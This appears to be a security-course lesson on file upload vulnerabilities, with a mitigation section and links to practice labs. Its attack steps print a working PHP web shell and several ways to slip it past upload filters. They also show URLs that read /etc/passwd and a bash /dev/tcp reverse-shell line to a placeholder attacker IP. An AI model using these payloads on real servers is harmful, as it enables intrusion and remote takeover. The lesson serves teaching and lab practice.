



What are File Upload Vulnerabilities?

Many web applications allow file uploads — profile pictures, documents, PDFs. If the server doesn't properly validate what you upload, an attacker can upload a web shell (a PHP/ASP file that executes commands on the server), leading to Remote Code Execution (RCE).

File upload vulnerabilities can give you full control over a web server. They're found in CMS platforms (WordPress), photo sharing apps, document upload portals — anywhere files are accepted.

Why It Happens

- Server trusts the Content-Type header (easy to spoof)
- Only checks file extension — can be bypassed
- Uploaded files stored in a web-accessible directory
- No server-side execution prevention on upload folder

The Attack

Step 1 — Create a Web Shell

```
<?php system($_GET['cmd']); ?>
```

Save as: shell.php

Step 2 — Upload the Shell

Try uploading shell.php directly. If blocked, attempt these bypasses:

```
# Extension bypass:
shell.php.jpg          # Double extension
shell.pHp              # Case variation
shell.php5             # Alternate extension
shell.phtml
shell.php%00.jpg       # Null byte (older systems)
```

```
# Content-Type bypass (change in Burp Suite):
```

```
Change: application/x-php
```

```
To:      image/jpeg
```

```
# Magic bytes bypass (add JPEG header to PHP file):
```

GIF89a;

<?php system(\$_GET['cmd']); ?>

Step 3 — Access the Shell

```
# Once uploaded, navigate to the file URL:
http://target.com/uploads/shell.php?cmd=whoami
http://target.com/uploads/shell.php?cmd=ls /
http://target.com/uploads/shell.php?cmd=cat /etc/passwd

# Upgrade to a reverse shell:
cmd=bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'

# Listen on your machine:
nc -lvnp 4444
```

Bypassing Client-Side Validation

Some apps only check file type in JavaScript (browser-side). This is trivially bypassed:

- Use Burp Suite to intercept the upload request
- Change the filename and content-type AFTER the browser validation
- Or just disable JavaScript in DevTools → Settings → Disable JS

What Good Developers Should Do

Validate server-side

Never trust client-provided file type. Check magic bytes, not just extension.

Rename uploads

Store files with random names — don't preserve original filename.

Serve from CDN

Upload files to a location where PHP/scripts can't be executed by the web server.

Your Task for Today

1. From the Reference Links complete the [PortSwigger File Upload Vulnerabilities Labs](#)

Reference Links

- [PortSwigger File Upload Vulnerabilities Labs](#)
- [HackTricks — File Upload Bypass Techniques](#)
- [OWASP Unrestricted File Upload Guide](#)
- [PentesterLab — File Upload Exercises](#)
- [PHP Webshells Cheatsheet](#)